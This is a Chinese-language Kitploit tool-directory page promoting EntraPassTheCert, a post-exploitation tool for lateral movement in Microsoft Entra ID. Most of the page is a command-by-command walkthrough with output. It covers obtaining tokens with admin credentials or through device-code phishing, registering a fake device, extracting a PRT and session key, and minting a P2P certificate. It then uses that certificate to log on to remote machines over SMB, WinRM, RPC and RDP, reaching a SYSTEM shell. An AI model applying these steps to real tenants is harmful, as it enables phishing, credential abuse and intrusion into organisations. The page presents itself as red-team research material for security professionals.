Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
EntraPassTheCert — 用于请求 Entra ID 的 P2P 证书,并使用该证书对远程已加入 Entra 的设备进行身份验证的工具 | Kitploit
工具/GitHubGitHub/temp43487580/entrapassthecert
横向移动后渗透利用渗透测试云安全身份与访问管理 (IAM)身份验证红队
GitHubtemp43487580/entrapassthecert

EntraPassTheCert

用于请求 Entra ID 的 P2P 证书,并使用该证书对远程已加入 Entra 的设备进行身份验证的工具

查看仓库
135160年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

EntraPassTheCert

EntraPassTheCert 是一款后渗透工具,允许攻击者请求 Entra ID 用户的 P2P 证书,并使用该证书向远程已加入 Entra 的机器进行身份验证。

root@kitploit:~
$ python3 entraptc.py -h

usage: entraptc.py [-h] [--debug] {request_p2pcert,smb,rdp,winrm,rpc} ...

post-exploitation tool for requesting p2p cert and authenticate with it

positional arguments:
  {request_p2pcert,smb,rdp,winrm,rpc}
                        Available commands
    request_p2pcert     request P2P cert with PRT and SessionKey
    smb                 SMB to Entra joinned machine with P2P cert
    rdp                 RDP to Entra joinned machine with P2P cert
    winrm               WinRM to Entra joinned machine with P2P cert
    rpc                 RPC to Entra joinned machine with P2P cert

options:
  -h, --help            show this help message and exit
  --debug               debug option

该代码基于以下出色的现有工具构建。

  • impacket
  • ROADTools
  • AADInternals
  • pywinrm
  • aardwolf

该工具将在 Troopers 2025 大会上展示:

Hopping Accross Devices: Expanding Lateral Movement through Pass-the-Certificate Attack

用法

请求 P2P 证书

首先,使用具有目标设备本地管理员访问权限的任何账户的凭据获取所需的 Microsoft Entra 令牌。

root@kitploit:~
$ roadtx gettokens -r devicereg -c 29d9ed98-a469-4536-ade2-f981bc1d605e -u globaladmin@***.onmicrosoft.com -p $PASSWORD
Requesting token for resource urn:ms-drs:enterpriseregistration.windows.net
Tokens were written to .roadtools_auth

如果你没有凭据,也可以执行 device-code 钓鱼攻击来获取令牌。

root@kitploit:~
$ roadtx gettokens --device-code -r devicereg -c 29d9ed98-a469-4536-ade2-f981bc1d605e
Requesting token for resource urn:ms-drs:enterpriseregistration.windows.net
To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code HGCUCJ6CS to authenticate.
Tokens were written to .roadtools_auth

接下来,向 Entra ID 注册一个伪造设备。

root@kitploit:~
$ roadtx device -a join -n fake_device
Saving private key to fake_device.key
Registering device
Device ID: 0d9d2d66-7343-4bf2-a3dd-377c9e1e6244
Saved device certificate to fake_device.pem

然后,使用已注册的设备请求 PRT 和会话密钥。

root@kitploit:~
$ REFRESHTOKEN=(`cat .roadtools_auth | jq -r .refreshToken`) 

$ roadtx prt -c fake_device.pem -k fake_device.key -r $REFRESHTOKEN
Obtained PRT: 1.AT0A7mRQZ....
Obtained session key: fabd04bf017c526fd...
Saved PRT to roadtx.prt

获得 PRT 和会话密钥后,你就可以请求用户的 P2P 证书。

root@kitploit:~
$ PRT=(`cat roadtx.prt | jq -r .refresh_token`)

$ SESSIONKEY=(`cat roadtx.prt | jq -r .session_key`)

$ python3 entraptc.py request_p2pcert --prt $PRT --sessionkey $SESSIONKEY
[*] requesting P2P cert...
[+] successfully acquired P2P cert!
[*] here is your p2p cert pfx : p2pcert.pfx (pw: password)

传递 P2P 证书

你可以使用 P2P 证书向已加入 Entra 的远程机器进行身份验证,如下所示。

  • SMB
root@kitploit:~
$ python3 entraptc.py smb --target 192.168.153.133 --pfx p2pcert.pfx      
[*] connecting to 192.168.153.133 via SMB...
[+] sucessfully logged-on to the system!
Type help for list of commands
# shares
ADMIN$
C$
IPC$
# use C$
# ls
drw-rw-rw-          0  Fri May 30 15:52:50 2025 $Recycle.Bin
drw-rw-rw-          0  Sat Apr 19 01:54:46 2025 Documents and Settings
-rw-rw-rw-      12288  Sun Jun 15 10:45:59 2025 DumpStack.log.tmp
drw-rw-rw-          0  Fri May 30 09:06:09 2025 inetpub
-rw-rw-rw-  738197504  Sun Jun 15 10:45:58 2025 pagefile.sys
drw-rw-rw-          0  Sat Apr 19 02:49:28 2025 PerfLogs
drw-rw-rw-          0  Tue Jun 10 14:58:44 2025 Program Files
drw-rw-rw-          0  Tue May 27 15:59:56 2025 Program Files (x86)
drw-rw-rw-          0  Tue Jun 10 14:54:46 2025 ProgramData
drw-rw-rw-          0  Sat Apr 19 01:53:41 2025 Recovery
-rw-rw-rw-   16777216  Sun Jun 15 10:45:59 2025 swapfile.sys
drw-rw-rw-          0  Fri May 30 09:39:44 2025 System Volume Information
drw-rw-rw-          0  Fri May 30 15:52:23 2025 Users
drw-rw-rw-          0  Wed Jun 11 09:30:27 2025 Windows
  • WinRM
root@kitploit:~
$ python3 entraptc.py winrm --target 192.168.153.133 --pfx p2pcert.pfx
[*] connecting to 192.168.153.133 via WinRM...
[+] sucessfully logged-on to the system!

C:\Users\admin> whoami
azuread\admin
  • RPC
root@kitploit:~
$ python3 entraptc.py rpc --target 192.168.153.133 --pfx p2pcert.pfx                                                                   

[*] connecting to 192.168.153.133 via RPC...
[+] sucessfully logged-on to the system!

C:\Windows\System32>whoami
nt authority\system
  • RDP
    • 你需要指定该账户的凭据
root@kitploit:~
$ python3 entraptc.py rdp --username globaladmin@***.onmicrosoft.com --password $PASSWORD --target 192.168.153.133 --pfx p2pcert.pfx

注意事项

  • 目标机器应为已加入 Entra 的机器,而非混合加入 Entra 或仅注册 Entra 的机器
  • 已在 Windows 11/10 机器上测试,但未在 Windows Server 上测试

免责声明

本项目仅用于教育和研究目的。
它旨在帮助安全专业人员、研究人员和学生了解潜在的攻击途径,并改进防御措施。

参考

https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597

下载工具